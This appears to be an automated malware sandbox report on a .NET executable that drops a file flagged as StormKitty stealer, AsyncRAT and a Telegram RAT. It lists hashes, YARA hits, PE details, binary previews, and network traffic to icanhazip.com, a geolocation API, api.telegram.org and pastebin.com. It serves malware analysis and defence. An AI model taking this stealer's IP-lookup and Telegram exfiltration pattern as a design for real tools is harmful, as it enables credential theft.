SHA-512:	53EFE8F752484B48C39E1ABFBA05840FF2B968DE2BCAE16287877F69BABE8C54617E76C6953A22789043E27C9CCA9DB4FED5D2C2A512CBDDB5015F4CAB57C198
Malicious:	false
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wwst.exe

Download File

Process:	C:\Users\user\Desktop\3ZCSmfAvnf.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	179200
Entropy (8bit):	5.896799711559877
Encrypted:	false
SSDEEP:	3072:2e8p6ewdOIwQx76vK/bvTv0cU+lL/dMlZZUZ0b2gTkwA5E+WpCc:u6ewwIwQJ6vKX0c5MlYZ0b2l
MD5:	5224B9398F4ED7A52B85B432B3D50A04
SHA1:	C7BFE32E841F87C2B15A8A9266DDB981E8786157
SHA-256:	82E62DBFD6AA5DF5162E2A6A9CD5A0DFB97F94FB5F5BF531CA9F974EC0464AE2
SHA-512:	2A6374F9BBAD9F198E671D2707ABFEE1D74AF935DA62C89ACAC9E5BE6467008B96F1879E61AB76A4A9FBF4B568B8D2F697BBC4FE79DC32EEF7461686CA245EF0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: Joe Security Rule: JoeSecurity_TelegramRecon, Description: Yara detected Telegram Recon, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_References_VPN, Description: Detects executables referencing many VPN software clients. Observed in infosteslers, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: ditekSHen Rule: MALWARE_Win_StormKitty, Description: Detects StormKitty infostealer, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c................................. ........@.. ....................... ............`.................................l...O.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........C...........................................................................r...p..................................6.r...p.o.................."..s^......>..sf...%.}"..........0..........s..........o.....o......0..........s..........o.....o.......sV...2.o....sR......2.o....sL.......0../.......#..........o.... ....(......(....,..#.........N...(....(....o....".o"...i...&..lo#.....".o"...k...&..lo#......0.."..........o......(....,...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.477938849025419
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	3ZCSmfAvnf.exe
File size:	343552
MD5:	c7fbe52e88456eabb4d4a1a1a0670cf4
SHA1:	3b479f15645c31c7067c31aede6e1802093ac78b
SHA256:	82acc1095843da9a689f138666b41520ccb2bda8be0c8b3cd734adbfa14d6746
SHA512:	3302aa29196e3864850c7f6bfdc274a285f3f51fd1d60b0e728caa29b4f25bc70f30429819de1ea27855841fa0ec00f0fec69c1745794a96c5c19d11d0c8fa05
SSDEEP:	6144:wcjrQ/rcaXeLfKqsmLjCkHhUcuS37N7E+rdR2cFoWIEh89dHHWtjunUU:wcjiuJsmXCkStSLNnRVFopEhAdH2tK
TLSH:	E374BF2A3599CE00C36A15B9C4CF802843E9ED937673DB297E4D33AE49433A7AC557C9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c.................0...........N... ...`....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x454e8e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x63A9B8F2 [Mon Dec 26 15:08:34 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54e40	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x58000	0x5e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x52e94	0x53000	False	0.7990634412650602	PPMN archive data	7.50296413464638	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.sdata	0x56000	0x1e8	0x200	False	0.861328125	data	6.628687533257858	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x58000	0x5e8	0x600	False	0.4283854166666667	data	4.159723174510217	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x5a000	0xc	0x200	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x580a0	0x35c	data
RT_MANIFEST	0x583fc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 18, 2023 23:37:48.048203945 CET	49696	80	192.168.2.4	104.18.115.97
Jan 18, 2023 23:37:48.065526009 CET	80	49696	104.18.115.97	192.168.2.4
Jan 18, 2023 23:37:48.065674067 CET	49696	80	192.168.2.4	104.18.115.97
Jan 18, 2023 23:37:48.066458941 CET	49696	80	192.168.2.4	104.18.115.97
Jan 18, 2023 23:37:48.084256887 CET	80	49696	104.18.115.97	192.168.2.4
Jan 18, 2023 23:37:48.088897943 CET	80	49696	104.18.115.97	192.168.2.4
Jan 18, 2023 23:37:48.247282028 CET	49696	80	192.168.2.4	104.18.115.97
Jan 18, 2023 23:37:48.309381008 CET	49697	443	192.168.2.4	104.21.9.139
Jan 18, 2023 23:37:48.309437037 CET	443	49697	104.21.9.139	192.168.2.4
Jan 18, 2023 23:37:48.309521914 CET	49697	443	192.168.2.4	104.21.9.139
Jan 18, 2023 23:37:48.344285011 CET	49697	443	192.168.2.4	104.21.9.139
Jan 18, 2023 23:37:48.344316006 CET	443	49697	104.21.9.139	192.168.2.4
Jan 18, 2023 23:37:48.402476072 CET	443	49697	104.21.9.139	192.168.2.4
Jan 18, 2023 23:37:48.402723074 CET	49697	443	192.168.2.4	104.21.9.139
Jan 18, 2023 23:37:48.409051895 CET	49697	443	192.168.2.4	104.21.9.139
Jan 18, 2023 23:37:48.409079075 CET	443	49697	104.21.9.139	192.168.2.4
Jan 18, 2023 23:37:48.409558058 CET	443	49697	104.21.9.139	192.168.2.4
Jan 18, 2023 23:37:48.544173956 CET	49697	443	192.168.2.4	104.21.9.139
Jan 18, 2023 23:37:48.611238003 CET	49697	443	192.168.2.4	104.21.9.139
Jan 18, 2023 23:37:48.611263990 CET	443	49697	104.21.9.139	192.168.2.4
Jan 18, 2023 23:37:48.843763113 CET	443	49697	104.21.9.139	192.168.2.4
Jan 18, 2023 23:37:48.843921900 CET	443	49697	104.21.9.139	192.168.2.4
Jan 18, 2023 23:37:48.844316006 CET	49697	443	192.168.2.4	104.21.9.139
Jan 18, 2023 23:37:50.511313915 CET	49697	443	192.168.2.4	104.21.9.139
Jan 18, 2023 23:37:50.610832930 CET	49698	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:50.610903978 CET	443	49698	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:50.611571074 CET	49698	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:50.621346951 CET	49698	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:50.621376991 CET	443	49698	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:50.703615904 CET	443	49698	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:50.703804016 CET	49698	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:50.713510036 CET	49698	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:50.713526964 CET	443	49698	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:50.713943005 CET	443	49698	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:50.715955973 CET	49698	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:50.715971947 CET	443	49698	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:50.744124889 CET	443	49698	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:50.744255066 CET	443	49698	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:50.744355917 CET	49698	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:53.144134998 CET	49698	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:53.169995070 CET	49699	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:53.170068026 CET	443	49699	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:53.170171022 CET	49699	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:53.170886040 CET	49699	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:53.170922041 CET	443	49699	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:53.234312057 CET	443	49699	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:53.245861053 CET	49699	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:53.245929003 CET	443	49699	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:53.329729080 CET	443	49699	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:53.329826117 CET	443	49699	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:53.329904079 CET	49699	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:53.336648941 CET	49699	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.399382114 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.399472952 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.399576902 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.405397892 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.405431032 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.474514008 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.481049061 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.481098890 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.526207924 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.527307034 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.527348042 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.527601957 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.527610064 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.527786016 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.527807951 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.528198004 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.528223991 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.528449059 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.528522968 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.528733015 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.528759003 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.528785944 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.528799057 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.528876066 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.528887033 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.529057980 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.529397011 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.704999924 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.705195904 CET	443	49700	149.154.167.220	192.168.2.4
Jan 18, 2023 23:37:59.705298901 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.705718040 CET	49700	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:37:59.706837893 CET	49696	80	192.168.2.4	104.18.115.97
Jan 18, 2023 23:37:59.723962069 CET	80	49696	104.18.115.97	192.168.2.4
Jan 18, 2023 23:37:59.724504948 CET	49696	80	192.168.2.4	104.18.115.97
Jan 18, 2023 23:37:59.748791933 CET	49701	443	192.168.2.4	104.20.68.143
Jan 18, 2023 23:37:59.748827934 CET	443	49701	104.20.68.143	192.168.2.4
Jan 18, 2023 23:37:59.748914003 CET	49701	443	192.168.2.4	104.20.68.143
Jan 18, 2023 23:37:59.749881983 CET	49701	443	192.168.2.4	104.20.68.143
Jan 18, 2023 23:37:59.749901056 CET	443	49701	104.20.68.143	192.168.2.4
Jan 18, 2023 23:37:59.810296059 CET	443	49701	104.20.68.143	192.168.2.4
Jan 18, 2023 23:37:59.810401917 CET	49701	443	192.168.2.4	104.20.68.143
Jan 18, 2023 23:37:59.814178944 CET	49701	443	192.168.2.4	104.20.68.143
Jan 18, 2023 23:37:59.814194918 CET	443	49701	104.20.68.143	192.168.2.4
Jan 18, 2023 23:37:59.814579010 CET	443	49701	104.20.68.143	192.168.2.4
Jan 18, 2023 23:37:59.817070007 CET	49701	443	192.168.2.4	104.20.68.143
Jan 18, 2023 23:37:59.817097902 CET	443	49701	104.20.68.143	192.168.2.4
Jan 18, 2023 23:37:59.961767912 CET	443	49701	104.20.68.143	192.168.2.4
Jan 18, 2023 23:37:59.962035894 CET	443	49701	104.20.68.143	192.168.2.4
Jan 18, 2023 23:37:59.962151051 CET	49701	443	192.168.2.4	104.20.68.143
Jan 18, 2023 23:37:59.963174105 CET	49701	443	192.168.2.4	104.20.68.143
Jan 18, 2023 23:38:00.003798962 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.003878117 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.003973007 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.004683971 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.004722118 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.074882984 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.100502968 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.100557089 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.128353119 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.129554987 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.129597902 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.129662991 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.129677057 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.129812956 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.129852057 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.129950047 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.129985094 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.130048990 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.130072117 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.130229950 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.130256891 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.130300045 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.130331039 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.130382061 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.130414009 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.130515099 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.130543947 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.130587101 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.130618095 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.130667925 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.130743027 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.130783081 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.130810022 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.130898952 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.130918980 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.306648016 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.306881905 CET	443	49702	149.154.167.220	192.168.2.4
Jan 18, 2023 23:38:00.307010889 CET	49702	443	192.168.2.4	149.154.167.220
Jan 18, 2023 23:38:00.309398890 CET	49702	443	192.168.2.4	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 18, 2023 23:37:47.839512110 CET	56572	53	192.168.2.4	8.8.8.8
Jan 18, 2023 23:37:47.857369900 CET	53	56572	8.8.8.8	192.168.2.4
Jan 18, 2023 23:37:48.001507998 CET	50911	53	192.168.2.4	8.8.8.8
Jan 18, 2023 23:37:48.023154974 CET	53	50911	8.8.8.8	192.168.2.4
Jan 18, 2023 23:37:48.261231899 CET	59683	53	192.168.2.4	8.8.8.8
Jan 18, 2023 23:37:48.308578014 CET	53	59683	8.8.8.8	192.168.2.4
Jan 18, 2023 23:37:50.523036003 CET	64167	53	192.168.2.4	8.8.8.8
Jan 18, 2023 23:37:50.542224884 CET	53	64167	8.8.8.8	192.168.2.4
Jan 18, 2023 23:37:59.727991104 CET	58565	53	192.168.2.4	8.8.8.8
Jan 18, 2023 23:37:59.747097969 CET	53	58565	8.8.8.8	192.168.2.4
Jan 18, 2023 23:37:59.974843025 CET	52239	53	192.168.2.4	8.8.8.8
Jan 18, 2023 23:37:59.992228031 CET	53	52239	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 18, 2023 23:37:47.839512110 CET	192.168.2.4	8.8.8.8	0x8c3f	Standard query (0)	207.189.1.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 18, 2023 23:37:48.001507998 CET	192.168.2.4	8.8.8.8	0xf44d	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
Jan 18, 2023 23:37:48.261231899 CET	192.168.2.4	8.8.8.8	0x9268	Standard query (0)	api.mylnikov.org	A (IP address)	IN (0x0001)	false
Jan 18, 2023 23:37:50.523036003 CET	192.168.2.4	8.8.8.8	0xc0a1	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jan 18, 2023 23:37:59.727991104 CET	192.168.2.4	8.8.8.8	0x3df4	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Jan 18, 2023 23:37:59.974843025 CET	192.168.2.4	8.8.8.8	0x567e	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 18, 2023 23:37:47.857369900 CET	8.8.8.8	192.168.2.4	0x8c3f	Name error (3)	207.189.1.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 18, 2023 23:37:48.023154974 CET	8.8.8.8	192.168.2.4	0xf44d	No error (0)	icanhazip.com		104.18.115.97	A (IP address)	IN (0x0001)	false
Jan 18, 2023 23:37:48.023154974 CET	8.8.8.8	192.168.2.4	0xf44d	No error (0)	icanhazip.com		104.18.114.97	A (IP address)	IN (0x0001)	false
Jan 18, 2023 23:37:48.308578014 CET	8.8.8.8	192.168.2.4	0x9268	No error (0)	api.mylnikov.org		104.21.9.139	A (IP address)	IN (0x0001)	false
Jan 18, 2023 23:37:48.308578014 CET	8.8.8.8	192.168.2.4	0x9268	No error (0)	api.mylnikov.org		172.67.160.130	A (IP address)	IN (0x0001)	false
Jan 18, 2023 23:37:50.542224884 CET	8.8.8.8	192.168.2.4	0xc0a1	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jan 18, 2023 23:37:59.747097969 CET	8.8.8.8	192.168.2.4	0x3df4	No error (0)	pastebin.com		104.20.68.143	A (IP address)	IN (0x0001)	false
Jan 18, 2023 23:37:59.747097969 CET	8.8.8.8	192.168.2.4	0x3df4	No error (0)	pastebin.com		172.67.34.170	A (IP address)	IN (0x0001)	false
Jan 18, 2023 23:37:59.747097969 CET	8.8.8.8	192.168.2.4	0x3df4	No error (0)	pastebin.com		104.20.67.143	A (IP address)	IN (0x0001)	false
Jan 18, 2023 23:37:59.992228031 CET	8.8.8.8	192.168.2.4	0x567e	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.mylnikov.org

api.telegram.org

pastebin.com

icanhazip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49697	104.21.9.139	443	C:\Users\user\AppData\Local\Temp\wwst.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49698	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\wwst.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49699	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\wwst.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49700	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\wwst.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49701	104.20.68.143	443	C:\Users\user\AppData\Local\Temp\wwst.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49702	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\wwst.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49696	104.18.115.97	80	C:\Users\user\AppData\Local\Temp\wwst.exe

Timestamp	kBytes transferred	Direction	Data
Jan 18, 2023 23:37:48.066458941 CET	145	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
Jan 18, 2023 23:37:48.088897943 CET	146	IN	HTTP/1.1 200 OK Date: Wed, 18 Jan 2023 22:37:48 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=jPBI8hi9qXW2fn_iuOFvtdlOMaW_bI9J05KXkNsaoU4-1674081468-0-Ac0Kfo8dexdDkpjzp1oVQHV7FlR4Cn+zcTA+6rBdnljOkl+TJA2GsaTtvs4xRH7TyIBn2wfrwhWllNp0z7pRIcA=; path=/; expires=Wed, 18-Jan-23 23:07:48 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 78bad1376975900d-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 38 34 2e 31 37 2e 35 32 2e 35 0a Data Ascii: 84.17.52.5

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49697	104.21.9.139	443	C:\Users\user\AppData\Local\Temp\wwst.exe

Timestamp	Direction	Data
